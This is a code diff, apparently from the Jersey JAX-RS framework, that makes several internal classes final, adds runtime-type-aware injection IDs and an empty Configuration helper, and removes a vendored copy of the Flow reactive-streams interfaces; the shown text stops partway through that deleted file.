@@ -43,7 +45,7 @@
  * @author Paul Sandoz
  * @author Marek Potociar
  */
-public class ContextResolverFactory implements ContextResolvers {
+public final class ContextResolverFactory implements ContextResolvers {
 
     /**
      * Configurator which initializes and register {@link ContextResolvers} instance into {@link InjectionManager} and
@@ -60,7 +62,9 @@
             contextResolverFactory = new ContextResolverFactory();
             InstanceBinding<ContextResolverFactory> binding =
                     Bindings.service(contextResolverFactory)
-                            .to(ContextResolvers.class);
+                            .to(ContextResolvers.class)
+                            .forClient(bootstrapBag.getConfiguration().getRuntimeType() == RuntimeType.CLIENT)
+                            .id(InjectionIds.COMMON_CONTEXT_RESOLVERS.id());;
             injectionManager.register(binding);
         }
 
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/DynamicFeatureConfigurator.java b/core-common/src/main/java/org/glassfish/jersey/internal/DynamicFeatureConfigurator.java
index 12eb78b..5ac5339 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/DynamicFeatureConfigurator.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/DynamicFeatureConfigurator.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -37,7 +37,7 @@
  * in the list of configurators due to same list of {@link org.glassfish.jersey.internal.spi.AutoDiscoverable}
  * used in the {@link BootstrapBag} to register discovered features.
  */
-public class DynamicFeatureConfigurator extends AbstractFeatureConfigurator<DynamicFeature> {
+public final class DynamicFeatureConfigurator extends AbstractFeatureConfigurator<DynamicFeature> {
 
     /**
      * Create a new configurator.
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/Errors.java b/core-common/src/main/java/org/glassfish/jersey/internal/Errors.java
index 44fad3c..b72e23d 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/Errors.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/Errors.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -40,7 +40,7 @@
  *
  * @author Michal Gajdos
  */
-public class Errors {
+public final class Errors {
 
     private static final Logger LOGGER = Logger.getLogger(Errors.class.getName());
 
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/ExceptionMapperFactory.java b/core-common/src/main/java/org/glassfish/jersey/internal/ExceptionMapperFactory.java
index 55e5a68..8015a50 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/ExceptionMapperFactory.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/ExceptionMapperFactory.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -30,12 +30,13 @@
 
 import jakarta.ws.rs.Priorities;
 import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.RuntimeType;
 import jakarta.ws.rs.ext.ExceptionMapper;
 
-import org.glassfish.jersey.JerseyPriorities;
-import org.glassfish.jersey.internal.inject.Bindings;
+import org.glassfish.jersey.innate.inject.Bindings;
+import org.glassfish.jersey.innate.inject.InjectionIds;
+import org.glassfish.jersey.internal.inject.Binding;
 import org.glassfish.jersey.internal.inject.InjectionManager;
-import org.glassfish.jersey.internal.inject.InstanceBinding;
 import org.glassfish.jersey.internal.inject.Providers;
 import org.glassfish.jersey.internal.inject.ServiceHolder;
 import org.glassfish.jersey.internal.util.ReflectionHelper;
@@ -56,7 +57,7 @@
  * @author Marek Potociar
  * @author Jakub Podlesak
  */
-public class ExceptionMapperFactory implements ExceptionMappers {
+public final class ExceptionMapperFactory implements ExceptionMappers {
 
     private static final Logger LOGGER = Logger.getLogger(ExceptionMapperFactory.class.getName());
 
@@ -73,9 +74,11 @@
         @Override
         public void init(InjectionManager injectionManager, BootstrapBag bootstrapBag) {
             exceptionMapperFactory = new ExceptionMapperFactory(injectionManager);
-            InstanceBinding<ExceptionMapperFactory> binding =
+            Binding<ExceptionMapperFactory, ?> binding =
                     Bindings.service(exceptionMapperFactory)
-                            .to(ExceptionMappers.class);
+                            .to(ExceptionMappers.class)
+                            .forClient(bootstrapBag.getConfiguration().getRuntimeType() == RuntimeType.CLIENT)
+                            .id(InjectionIds.COMMON_EXCEPTION_MAPPERS.id());
             injectionManager.register(binding);
         }
 
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/FeatureConfigurator.java b/core-common/src/main/java/org/glassfish/jersey/internal/FeatureConfigurator.java
index 2b0acbd..56e4aec 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/FeatureConfigurator.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/FeatureConfigurator.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -35,7 +35,7 @@
  * in the list of configurators due to same list of {@link org.glassfish.jersey.internal.spi.AutoDiscoverable}
  * used in the {@link BootstrapBag} to register discovered features.
  */
-public class FeatureConfigurator extends AbstractFeatureConfigurator<Feature> {
+public final class FeatureConfigurator extends AbstractFeatureConfigurator<Feature> {
 
     public FeatureConfigurator(RuntimeType runtimeType) {
         super(Feature.class, runtimeType);
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/InternalProperties.java b/core-common/src/main/java/org/glassfish/jersey/internal/InternalProperties.java
index 75f85ed..44fb67a 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/InternalProperties.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/InternalProperties.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2014, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -24,7 +24,7 @@
  * @author Michal Gajdos
  */
 @PropertiesClass
-public class InternalProperties {
+public final class InternalProperties {
 
     /**
      * This property should be set by configured JSON feature to indicate that other (registered but not configured) JSON features
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/JaxrsProviders.java b/core-common/src/main/java/org/glassfish/jersey/internal/JaxrsProviders.java
index fa075fb..bebe2a9 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/JaxrsProviders.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/JaxrsProviders.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -19,6 +19,7 @@
 import java.lang.annotation.Annotation;
 import java.lang.reflect.Type;
 
+import jakarta.ws.rs.RuntimeType;
 import jakarta.ws.rs.core.Context;
 import jakarta.ws.rs.core.MediaType;
 import jakarta.ws.rs.ext.ContextResolver;
@@ -30,7 +31,8 @@
 import jakarta.inject.Inject;
 import jakarta.inject.Provider;
 
-import org.glassfish.jersey.internal.inject.Bindings;
+import org.glassfish.jersey.innate.inject.Bindings;
+import org.glassfish.jersey.innate.inject.InjectionIds;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.PerLookup;
 import org.glassfish.jersey.message.MessageBodyWorkers;
@@ -42,7 +44,7 @@
  *
  * @author Marek Potociar
  */
-public class JaxrsProviders implements Providers {
+public final class JaxrsProviders implements Providers {
 
     /**
      * Configurator which initializes and registers {@link Providers} instance into {@link InjectionManager} and
@@ -59,7 +61,10 @@
             injectionManager.register(
                     Bindings.service(JaxrsProviders.class)
                             .to(Providers.class)
-                            .in(PerLookup.class));
+                            .in(PerLookup.class)
+                            .id(injectionManager.getRuntimeType() == RuntimeType.CLIENT
+                                    ? InjectionIds.COMMON_PROVIDERS_CLIENT.id()
+                                    : InjectionIds.COMMON_PROVIDERS_SERVER.id()));
         }
     }
 
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/RuntimeDelegateImpl.java b/core-common/src/main/java/org/glassfish/jersey/internal/RuntimeDelegateImpl.java
index db16be8..ce3aa43 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/RuntimeDelegateImpl.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/RuntimeDelegateImpl.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2011, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,14 +16,13 @@
 
 package org.glassfish.jersey.internal;
 
+import jakarta.ws.rs.RuntimeType;
 import jakarta.ws.rs.SeBootstrap;
 import jakarta.ws.rs.core.Application;
 
-import jakarta.ws.rs.core.EntityPart;
 import jakarta.ws.rs.ext.RuntimeDelegate;
 import org.glassfish.jersey.message.internal.MessagingBinders;
 
-import java.util.Optional;
 import java.util.concurrent.CompletionStage;
 
 /**
@@ -40,7 +39,7 @@
 public class RuntimeDelegateImpl extends AbstractRuntimeDelegate {
 
     public RuntimeDelegateImpl() {
-        super(new MessagingBinders.HeaderDelegateProviders().getHeaderDelegateProviders());
+        super(new MessagingBinders.HeaderDelegateProviders(RuntimeType.CLIENT).getHeaderDelegateProviders());
     }
 
     @Override
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/config/JerseySystemPropertiesConfigurationModel.java b/core-common/src/main/java/org/glassfish/jersey/internal/config/JerseySystemPropertiesConfigurationModel.java
index a42a860..fbfc42e 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/config/JerseySystemPropertiesConfigurationModel.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/config/JerseySystemPropertiesConfigurationModel.java
@@ -28,7 +28,6 @@
             "org.glassfish.jersey.client.ClientProperties",
             "org.glassfish.jersey.servlet.ServletProperties",
             "org.glassfish.jersey.message.MessageProperties",
-            "org.glassfish.jersey.apache.connector.ApacheClientProperties",
             "org.glassfish.jersey.apache5.connector.Apache5ClientProperties",
             "org.glassfish.jersey.helidon.connector.HelidonClientProperties",
             "org.glassfish.jersey.jdk.connector.JdkConnectorProperties",
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/inject/Binding.java b/core-common/src/main/java/org/glassfish/jersey/internal/inject/Binding.java
index 69a534a..af7064d 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/inject/Binding.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/inject/Binding.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,16 +16,16 @@
 
 package org.glassfish.jersey.internal.inject;
 
+import jakarta.inject.Named;
+import jakarta.ws.rs.core.GenericType;
+import org.glassfish.jersey.Beta;
+
 import java.lang.annotation.Annotation;
 import java.lang.reflect.Type;
 import java.util.Collection;
 import java.util.HashSet;
 import java.util.Set;
 
-import jakarta.ws.rs.core.GenericType;
-
-import jakarta.inject.Named;
-
 /**
  * Abstract injection binding description of a bean.
  *
@@ -260,8 +260,9 @@
      *
      * @return current instance.
      */
-    public void ranked(int rank) {
+    public D ranked(int rank) {
         this.ranked = rank;
+        return (D) this;
     }
 
     /**
@@ -269,7 +270,7 @@
      *
      * @return current instance.
      */
-    D asType(Class type) {
+    public D asType(Class type) {
         this.implementationType = type;
         return (D) this;
     }
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/inject/InjectionManager.java b/core-common/src/main/java/org/glassfish/jersey/internal/inject/InjectionManager.java
index 4d5fd1c..f80e7b8 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/inject/InjectionManager.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/inject/InjectionManager.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,6 +16,9 @@
 
 package org.glassfish.jersey.internal.inject;
 
+import org.glassfish.jersey.Beta;
+
+import jakarta.ws.rs.RuntimeType;
 import java.lang.annotation.Annotation;
 import java.lang.reflect.Type;
 import java.util.List;
@@ -62,10 +65,7 @@
      * represented by a class or direct instance.
      *
      * @param binding one descriptor.
-     * @see ClassBinding
-     * @see InstanceBinding
-     * @see SupplierClassBinding
-     * @see SupplierInstanceBinding
+     * @see Binding
      */
     void register(Binding binding);
 
@@ -75,24 +75,18 @@
      * register a bean represented by a class or direct instance.
      *
      * @param descriptors collection of descriptors.
-     * @see ClassBinding
-     * @see InstanceBinding
-     * @see SupplierClassBinding
-     * @see SupplierInstanceBinding
+     * @see Binding
      */
     void register(Iterable<Binding> descriptors);
 
     /**
-     * Registers beans which are included in {@link Binder}. {@code Binder} can contains all descriptors extending
+     * Registers beans which are included in {@link Binder}. {@code Binder} can contain all descriptors extending
      * {@link Binding} or other binders which are installed together in tree-structure. This method will get all descriptors
      * bound in the given binder and register them in the order how the binders are installed together. In the tree structure,
      * the deeper on the left side will be processed first.
      *
      * @param binder collection of descriptors.
-     * @see ClassBinding
-     * @see InstanceBinding
-     * @see SupplierClassBinding
-     * @see SupplierInstanceBinding
+     * @see Binding
      */
     void register(Binder binder);
 
@@ -257,4 +251,13 @@
      * @param preDestroyMe The object to preDestroy
      */
     void preDestroy(Object preDestroyMe);
+
+    /**
+     * Get RuntimeType of the InjectionManager.
+     * @return the runtimeType
+     */
+    @Beta
+    default RuntimeType getRuntimeType() {
+        return null;
+    }
 }
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/inject/InjectionManagerFactory.java b/core-common/src/main/java/org/glassfish/jersey/internal/inject/InjectionManagerFactory.java
index 2a74b37..41e3dca 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/inject/InjectionManagerFactory.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/inject/InjectionManagerFactory.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,6 +16,8 @@
 
 package org.glassfish.jersey.internal.inject;
 
+import jakarta.ws.rs.core.Configuration;
+
 /**
  * Factory which is able to create {@link InjectionManager}. Every DI provider must create its own {@link InjectionManagerFactory}
  * and register it in META-INF.services. Then the {@code InjectionManagerFactory} can be looked up and {@code InjectionManager}
@@ -39,4 +41,13 @@
      * @return initialized injection manager.
      */
     InjectionManager create(Object parent);
+
+    /**
+     * Load a new injection manager with parent object for a given RuntimeType.
+     *
+     * @param configuration the configuration including RuntimeType of the InjectionManager used.
+     * @param parent injection manager parent or concrete DI specific object which is compatible with DI provider.
+     * @return initialized injection manager.
+     */
+    InjectionManager create(Object parent, Configuration configuration);
 }
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/inject/InjectionResolver.java b/core-common/src/main/java/org/glassfish/jersey/internal/inject/InjectionResolver.java
index 2509664..5719a07 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/inject/InjectionResolver.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/inject/InjectionResolver.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -25,10 +25,10 @@
  * <p>
  * Jersey provides all {@code InjectionResolvers} for JAX-RS annotation and {@code org.glassfish.jersey.server.Uri} apart from
  * {@link jakarta.ws.rs.core.Context} which must be implemented and registered directly as a part of DI integration because of
- * many optimization which cannot be implemented on Jersey side.
+ * much optimization which cannot be implemented on Jersey side.
  * <p>
  * The {@code InjectionResolvers} are delivered to DI integration using {@link InjectionManager#register(Binder)} and DI provider
- * just filter {@link InjectionResolverBinding} and internally register the annotation handling using its own mechanism.
+ * just filter {@code InjectionResolverBinding} and internally register the annotation handling using its own mechanism.
  *
  * @param <T> This must be the annotation class of the injection annotation that this resolver will handle.
  */
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/inject/Injections.java b/core-common/src/main/java/org/glassfish/jersey/internal/inject/Injections.java
index 1750dd8..ac5f012 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/inject/Injections.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/inject/Injections.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,13 +16,20 @@
 
 package org.glassfish.jersey.internal.inject;
 
+import java.util.Collection;
+import java.util.Collections;
 import java.util.LinkedList;
 import java.util.List;
+import java.util.Map;
 import java.util.Optional;
+import java.util.Set;
 
 import jakarta.ws.rs.ConstrainedTo;
 import jakarta.ws.rs.RuntimeType;
 import jakarta.ws.rs.WebApplicationException;
+import jakarta.ws.rs.core.Configuration;
+import jakarta.ws.rs.core.Feature;
+
 
 import org.glassfish.jersey.internal.LocalizationMessages;
 import org.glassfish.jersey.internal.ServiceFinder;
@@ -43,7 +50,7 @@
      * @return an injection manager with all the bindings.
      */
     public static InjectionManager createInjectionManager() {
-        return lookupInjectionManagerFactory(RuntimeType.SERVER).create();
+        return createInjectionManager(new EmptyConfiguration(RuntimeType.SERVER));
     }
 
     /**
@@ -53,7 +60,17 @@
      * @return an injection manager with all the bindings.
      */
     public static InjectionManager createInjectionManager(RuntimeType type) {
-        return lookupInjectionManagerFactory(type).create();
+        return createInjectionManager(new EmptyConfiguration(type));
+    }
+
+    /**
+     * Creates an {@link InjectionManager} without parent and initial binder.
+     * @param configuration {@link Configuration} including {@link RuntimeType} the {@link InjectionManagerFactory}
+     *                      must be {@link ConstrainedTo} if annotated.
+     * @return an injection manager with all the bindings.
+     */
+    public static InjectionManager createInjectionManager(Configuration configuration) {
+        return lookupInjectionManagerFactory(configuration.getRuntimeType()).create(null, configuration);
     }
 
     /**
@@ -63,8 +80,7 @@
      * @return an injection manager with all the bindings.
      */
     public static InjectionManager createInjectionManager(Binder binder) {
-        InjectionManagerFactory injectionManagerFactory = lookupInjectionManagerFactory(RuntimeType.SERVER);
-        InjectionManager injectionManager = injectionManagerFactory.create();
+        InjectionManager injectionManager = createInjectionManager(RuntimeType.SERVER);
         injectionManager.register(binder);
         return injectionManager;
     }
@@ -78,7 +94,21 @@
      * @return an injection manager with all the bindings.
      */
     public static InjectionManager createInjectionManager(Object parent) {
-        return lookupInjectionManagerFactory(RuntimeType.SERVER).create(parent);
+        return createInjectionManager(parent, new EmptyConfiguration(RuntimeType.SERVER));
+    }
+
+    /**
+     * Creates an unnamed, parented {@link InjectionManager}. In case the {@code parent} injection manager is not specified, the
+     * locator will not be parented.
+     *
+     * @param parent The parent of this injection manager. Services can be found in the parent (and all grand-parents). May be
+     *               {@code null}. An underlying DI provider checks whether the parent is in a proper type.
+     * @param configuration {@link Configuration} including {@link RuntimeType} the {@link InjectionManagerFactory}
+     *                      must be {@link ConstrainedTo} if annotated.
+     * @return an injection manager with all the bindings.
+     */
+    public static InjectionManager createInjectionManager(Object parent, Configuration configuration) {
+        return lookupInjectionManagerFactory(configuration.getRuntimeType()).create(parent, configuration);
     }
 
     private static InjectionManagerFactory lookupInjectionManagerFactory(RuntimeType type) {
@@ -136,4 +166,68 @@
             throw e;
         }
     }
+
+    private static final class EmptyConfiguration implements Configuration {
+
+        private final RuntimeType runtimeType;
+
+        private EmptyConfiguration(RuntimeType runtimeType) {
+            this.runtimeType = runtimeType;
+        }
+
+        @Override
+        public RuntimeType getRuntimeType() {
+            return runtimeType;
+        }
+
+        @Override
+        public Map<String, Object> getProperties() {
+            return Collections.emptyMap();
+        }
+
+        @Override
+        public Object getProperty(String name) {
+            return getProperties().get(name);
+        }
+
+        @Override
+        public Collection<String> getPropertyNames() {
+            return getProperties().keySet();
+        }
+
+        @Override
+        public boolean isEnabled(Feature feature) {
+            return false;
+        }
+
+        @Override
+        public boolean isEnabled(Class<? extends Feature> featureClass) {
+            return false;
+        }
+
+        @Override
+        public boolean isRegistered(Object component) {
+            return false;
+        }
+
+        @Override
+        public boolean isRegistered(Class<?> componentClass) {
+            return false;
+        }
+
+        @Override
+        public Map<Class<?>, Integer> getContracts(Class<?> componentClass) {
+            return Collections.emptyMap();
+        }
+
+        @Override
+        public Set<Class<?>> getClasses() {
+            return Collections.emptySet();
+        }
+
+        @Override
+        public Set<Object> getInstances() {
+            return Collections.emptySet();
+        }
+    }
 }
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/inject/ParamConverterConfigurator.java b/core-common/src/main/java/org/glassfish/jersey/internal/inject/ParamConverterConfigurator.java
index f10976a..8c171cd 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/inject/ParamConverterConfigurator.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/inject/ParamConverterConfigurator.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  * Copyright (c) 2018 Payara Foundation and/or its affiliates.
  *
  * This program and the accompanying materials are made available under the
@@ -17,8 +17,11 @@
 
 package org.glassfish.jersey.internal.inject;
 
+import jakarta.ws.rs.RuntimeType;
 import jakarta.ws.rs.ext.ParamConverterProvider;
 
+import org.glassfish.jersey.innate.inject.Bindings;
+import org.glassfish.jersey.innate.inject.InjectionIds;
 import org.glassfish.jersey.internal.BootstrapBag;
 import org.glassfish.jersey.internal.BootstrapConfigurator;
 
@@ -31,9 +34,12 @@
 
     @Override
     public void init(InjectionManager injectionManager, BootstrapBag bootstrapBag) {
-        final ClassBinding<ParamConverters.AggregatedProvider> aggregatedConverters =
+        long id = injectionManager.getRuntimeType() == RuntimeType.CLIENT
+                ? InjectionIds.CLIENT_AGGREGATED_PROVIDER.id()
+                : InjectionIds.SERVER_AGGREGATED_PROVIDER.id();
+        final Binding aggregatedConverters =
                 Bindings.service(ParamConverters.AggregatedProvider.class)
-                    .to(ParamConverterProvider.class);
+                    .to(ParamConverterProvider.class).id(id);
         injectionManager.register(aggregatedConverters);
     }
 }
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/jsr166/Flow.java b/core-common/src/main/java/org/glassfish/jersey/internal/jsr166/Flow.java
deleted file mode 100644
index bcb90c8..0000000
--- a/core-common/src/main/java/org/glassfish/jersey/internal/jsr166/Flow.java
+++ /dev/null
@@ -1,290 +0,0 @@
-/*
- * Written by Doug Lea with assistance from members of JCP JSR-166
- * Expert Group and released to the public domain, as explained at
- * http://creativecommons.org/publicdomain/zero/1.0/
- */
-
-package org.glassfish.jersey.internal.jsr166;
-
-/**
- * Interrelated interfaces and static methods for establishing
- * flow-controlled components in which {@link Publisher Publishers}
- * produce items consumed by one or more {@link Subscriber
- * Subscribers}, each managed by a {@link Subscription
- * Subscription}.
- *
- * <p>These interfaces correspond to the <a
- * href="http://www.reactive-streams.org/"> reactive-streams</a>
- * specification.  They apply in both concurrent and distributed
- * asynchronous settings: All (seven) methods are defined in {@code
- * void} "one-way" message style. Communication relies on a simple form
- * of flow control (method {@link Subscription#request}) that can be
- * used to avoid resource management problems that may otherwise occur
- * in "push" based systems.
- *
- * <p><b>Examples.</b> A {@link Publisher} usually defines its own
- * {@link Subscription} implementation; constructing one in method
- * {@code subscribe} and issuing it to the calling {@link
- * Subscriber}. It publishes items to the subscriber asynchronously,
- * normally using an {@link java.util.concurrent.Executor}.  For example, here is a very
- * simple publisher that only issues (when requested) a single {@code
- * TRUE} item to a single subscriber.  Because the subscriber receives
- * only a single item, this class does not use buffering and ordering
- * control required in most implementations (for example {@link
- * SubmissionPublisher}).
- *
- * <pre> {@code
- * class OneShotPublisher implements Publisher<Boolean> {
- *   private final ExecutorService executor = ForkJoinPool.commonPool(); // daemon-based
- *   private boolean subscribed; // true after first subscribe
- *   public synchronized void subscribe(Subscriber<? super Boolean> subscriber) {
- *     if (subscribed)
- *        subscriber.onError(new IllegalStateException()); // only one allowed
- *     else {
- *       subscribed = true;
- *       subscriber.onSubscribe(new OneShotSubscription(subscriber, executor));
- *     }
- *   }
- *   static class OneShotSubscription implements Subscription {
- *     private final Subscriber<? super Boolean> subscriber;
- *     private final ExecutorService executor;
- *     private Future<?> future; // to allow cancellation
- *     private boolean completed;
- *     OneShotSubscription(Subscriber<? super Boolean> subscriber,
- *                         ExecutorService executor) {
- *       this.subscriber = subscriber;
- *       this.executor = executor;
- *     }
- *     public synchronized void request(long n) {
- *       if (n != 0 && !completed) {
- *         completed = true;
- *         if (n < 0) {
- *           IllegalArgumentException ex = new IllegalArgumentException();
- *           executor.execute(() -> subscriber.onError(ex));
- *         } else {
- *           future = executor.submit(() -> {
- *             subscriber.onNext(Boolean.TRUE);
- *             subscriber.onComplete();
- *           });
- *         }
- *       }
- *     }
- *     public synchronized void cancel() {
- *       completed = true;
- *       if (future != null) future.cancel(false);
- *     }
- *   }
- * }}</pre>
- *
- * <p>A {@link Subscriber} arranges that items be requested and
- * processed.  Items (invocations of {@link Subscriber#onNext}) are
- * not issued unless requested, but multiple items may be requested.
- * Many Subscriber implementations can arrange this in the style of
- * the following example, where a buffer size of 1 single-steps, and
- * larger sizes usually allow for more efficient overlapped processing
- * with less communication; for example with a value of 64, this keeps
- * total outstanding requests between 32 and 64.
- * Because Subscriber method invocations for a given {@link
- * Subscription} are strictly ordered, there is no need for these
- * methods to use locks or volatiles unless a Subscriber maintains
- * multiple Subscriptions (in which case it is better to instead
- * define multiple Subscribers, each with its own Subscription).
- *
- * <pre> {@code
- * class SampleSubscriber<T> implements Subscriber<T> {
- *   final Consumer<? super T> consumer;
- *   Subscription subscription;
- *   final long bufferSize;
- *   long count;
- *   SampleSubscriber(long bufferSize, Consumer<? super T> consumer) {
- *     this.bufferSize = bufferSize;
- *     this.consumer = consumer;
- *   }
- *   public void onSubscribe(Subscription subscription) {
- *     long initialRequestSize = bufferSize;
- *     count = bufferSize - bufferSize / 2; // re-request when half consumed
- *     (this.subscription = subscription).request(initialRequestSize);
- *   }
- *   public void onNext(T item) {
- *     if (--count <= 0)
- *       subscription.request(count = bufferSize - bufferSize / 2);
- *     consumer.accept(item);
- *   }
- *   public void onError(Throwable ex) { ex.printStackTrace(); }
- *   public void onComplete() {}
- * }}</pre>
- *
- * <p>The default value of {@link #defaultBufferSize} may provide a
- * useful starting point for choosing request sizes and capacities in
- * Flow components based on expected rates, resources, and usages.
- * Or, when flow control is never needed, a subscriber may initially
- * request an effectively unbounded number of items, as in:
- *
- * <pre> {@code
- * class UnboundedSubscriber<T> implements Subscriber<T> {
- *   public void onSubscribe(Subscription subscription) {
- *     subscription.request(Long.MAX_VALUE); // effectively unbounded
- *   }
- *   public void onNext(T item) { use(item); }
- *   public void onError(Throwable ex) { ex.printStackTrace(); }
- *   public void onComplete() {}
- *   void use(T item) { ... }
- * }}</pre>
- *
- * @author Doug Lea
- * @since 9
- */
-public final class Flow {
-
-    private Flow() {} // uninstantiable
-
-    /**
-     * A producer of items (and related control messages) received by
-     * Subscribers.  Each current {@link Subscriber} receives the same
-     * items (via method {@code onNext}) in the same order, unless
-     * drops or errors are encountered. If a Publisher encounters an
-     * error that does not allow items to be issued to a Subscriber,
-     * that Subscriber receives {@code onError}, and then receives no
-     * further messages.  Otherwise, when it is known that no further
-     * messages will be issued to it, a subscriber receives {@code
-     * onComplete}.  Publishers ensure that Subscriber method
-     * invocations for each subscription are strictly ordered in <a
-     * href="package-summary.html#MemoryVisibility"><i>happens-before</i></a>
-     * order.
-     *
-     * <p>Publishers may vary in policy about whether drops (failures
-     * to issue an item because of resource limitations) are treated
-     * as unrecoverable errors.  Publishers may also vary about
-     * whether Subscribers receive items that were produced or
-     * available before they subscribed.
-     *
-     * @param <T> the published item type
-     */
-    @FunctionalInterface
-    public static interface Publisher<T> {
-        /**
-         * Adds the given Subscriber if possible.  If already
-         * subscribed, or the attempt to subscribe fails due to policy
-         * violations or errors, the Subscriber's {@code onError}
-         * method is invoked with an {@link IllegalStateException}.
-         * Otherwise, the Subscriber's {@code onSubscribe} method is
-         * invoked with a new {@link Subscription}.  Subscribers may
-         * enable receiving items by invoking the {@code request}
-         * method of this Subscription, and may unsubscribe by
-         * invoking its {@code cancel} method.
-         *
-         * @param subscriber the subscriber
-         * @throws NullPointerException if subscriber is null
-         */
-        public void subscribe(Subscriber<? super T> subscriber);
-    }
-
-    /**
-     * A receiver of messages.  The methods in this interface are
-     * invoked in strict sequential order for each {@link
-     * Subscription}.
-     *
